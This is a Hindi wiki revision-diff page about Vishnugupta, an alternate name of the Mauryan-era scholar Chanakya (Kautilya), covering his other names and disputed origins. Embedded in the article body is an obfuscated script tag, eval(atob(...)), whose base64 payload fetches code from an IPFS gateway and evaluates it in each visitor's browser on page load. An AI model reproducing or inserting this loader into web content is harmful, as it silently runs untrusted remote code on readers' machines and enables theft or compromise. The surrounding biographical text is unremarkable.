"विष्णुगुप्त" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 4: पंक्ति 4:
 
{{main|चाणक्य}}
 
{{main|चाणक्य}}
 
*कौटिल्य के और भी कई नामों का उल्लेख किया गया है, जिसमें 'चाणक्य' नाम प्रसिद्ध है।
 
*कौटिल्य के और भी कई नामों का उल्लेख किया गया है, जिसमें 'चाणक्य' नाम प्रसिद्ध है।
*कौटिल्य को चाणक्य के नाम से पुकारने वाले कई विद्वानों का मत है कि [[चणक]] निषाद का पुत्र होने के कारण यह चाणक्य कहलाया।
+
*कौटिल्य को चाणक्य के नाम से पुकारने वाले कई विद्वानों का मत है कि चणक निषाद का पुत्र होने के कारण यह चाणक्य कहलाया।
 
*दूसरी ओर कुछ विद्वानों के कथानानुसार- उसका जन्म [[पंजाब]] के चणक क्षेत्र के निषाद बस्ती में हुआ था, जो वर्तमान समय में [[चंडीगढ़]] के मल्लाह नामक स्थान से सूचित किया जाता है, इसलिए उसे चाणक्य कहा गया है, यद्यपि इस संबंध में कोई स्पष्ट प्रमाण नहीं मिलता है। किंतु एक बात स्पष्ट है कि 'कौटिल्य' और 'चाणक्य' एक ही व्यक्ति है।
 
*दूसरी ओर कुछ विद्वानों के कथानानुसार- उसका जन्म [[पंजाब]] के चणक क्षेत्र के निषाद बस्ती में हुआ था, जो वर्तमान समय में [[चंडीगढ़]] के मल्लाह नामक स्थान से सूचित किया जाता है, इसलिए उसे चाणक्य कहा गया है, यद्यपि इस संबंध में कोई स्पष्ट प्रमाण नहीं मिलता है। किंतु एक बात स्पष्ट है कि 'कौटिल्य' और 'चाणक्य' एक ही व्यक्ति है।
 
*उपर्युक्त नामों के अलावा उसके और भी कई नामों का उल्लेख मिलता है, जैसे 'विष्णुगुप्त'। कहा जाता है कि उसका मूल नाम 'विष्णुगुप्त' ही था। उसके [[पिता]] ने उसका नाम विष्णुगुप्त ही रखा था। कौटिल्य, [[चाणक्य]] और विष्णुगुप्त तीनों नामों से संबंधित कई सन्दर्भ मिलते हैं, किंतु इन तीनों नामों के अलावा उसके और भी कई नामों का उल्लेख किया गया है, जैसे- वात्स्यायन, मलंग, द्रविमल, अंगुल, वारानक्, कात्यान इत्यादि; इन भिन्न-भिन्न नामों में कौन सा सही नाम है और कौन-सा गलत नाम है, यह विवाद का विषय है। परन्तु अधिकांश पाश्चात्य और भारतीय विद्वानों ने '[[अर्थशास्त्र -कौटिल्य|अर्थशास्त्र]]' के लेखक के रूप में कौटिल्य नाम का ही प्रयोग किया है।
 
*उपर्युक्त नामों के अलावा उसके और भी कई नामों का उल्लेख मिलता है, जैसे 'विष्णुगुप्त'। कहा जाता है कि उसका मूल नाम 'विष्णुगुप्त' ही था। उसके [[पिता]] ने उसका नाम विष्णुगुप्त ही रखा था। कौटिल्य, [[चाणक्य]] और विष्णुगुप्त तीनों नामों से संबंधित कई सन्दर्भ मिलते हैं, किंतु इन तीनों नामों के अलावा उसके और भी कई नामों का उल्लेख किया गया है, जैसे- वात्स्यायन, मलंग, द्रविमल, अंगुल, वारानक्, कात्यान इत्यादि; इन भिन्न-भिन्न नामों में कौन सा सही नाम है और कौन-सा गलत नाम है, यह विवाद का विषय है। परन्तु अधिकांश पाश्चात्य और भारतीय विद्वानों ने '[[अर्थशास्त्र -कौटिल्य|अर्थशास्त्र]]' के लेखक के रूप में कौटिल्य नाम का ही प्रयोग किया है।

06:09, 13 फ़रवरी 2020 के समय का अवतरण

चाणक्य (काल्पनिक चित्र)

विष्णुगुप्त भारतीय इतिहास में मौर्य काल के प्रसिद्ध आचार्य चाणक्य का ही एक अन्य नाम है। चाणक्य को इतिहास में कौटिल्य के नाम से भी जाना जाता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कौटिल्य के और भी कई नामों का उल्लेख किया गया है, जिसमें 'चाणक्य' नाम प्रसिद्ध है।
  • कौटिल्य को चाणक्य के नाम से पुकारने वाले कई विद्वानों का मत है कि चणक निषाद का पुत्र होने के कारण यह चाणक्य कहलाया।
  • दूसरी ओर कुछ विद्वानों के कथानानुसार- उसका जन्म पंजाब के चणक क्षेत्र के निषाद बस्ती में हुआ था, जो वर्तमान समय में चंडीगढ़ के मल्लाह नामक स्थान से सूचित किया जाता है, इसलिए उसे चाणक्य कहा गया है, यद्यपि इस संबंध में कोई स्पष्ट प्रमाण नहीं मिलता है। किंतु एक बात स्पष्ट है कि 'कौटिल्य' और 'चाणक्य' एक ही व्यक्ति है।
  • उपर्युक्त नामों के अलावा उसके और भी कई नामों का उल्लेख मिलता है, जैसे 'विष्णुगुप्त'। कहा जाता है कि उसका मूल नाम 'विष्णुगुप्त' ही था। उसके पिता ने उसका नाम विष्णुगुप्त ही रखा था। कौटिल्य, चाणक्य और विष्णुगुप्त तीनों नामों से संबंधित कई सन्दर्भ मिलते हैं, किंतु इन तीनों नामों के अलावा उसके और भी कई नामों का उल्लेख किया गया है, जैसे- वात्स्यायन, मलंग, द्रविमल, अंगुल, वारानक्, कात्यान इत्यादि; इन भिन्न-भिन्न नामों में कौन सा सही नाम है और कौन-सा गलत नाम है, यह विवाद का विषय है। परन्तु अधिकांश पाश्चात्य और भारतीय विद्वानों ने 'अर्थशास्त्र' के लेखक के रूप में कौटिल्य नाम का ही प्रयोग किया है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख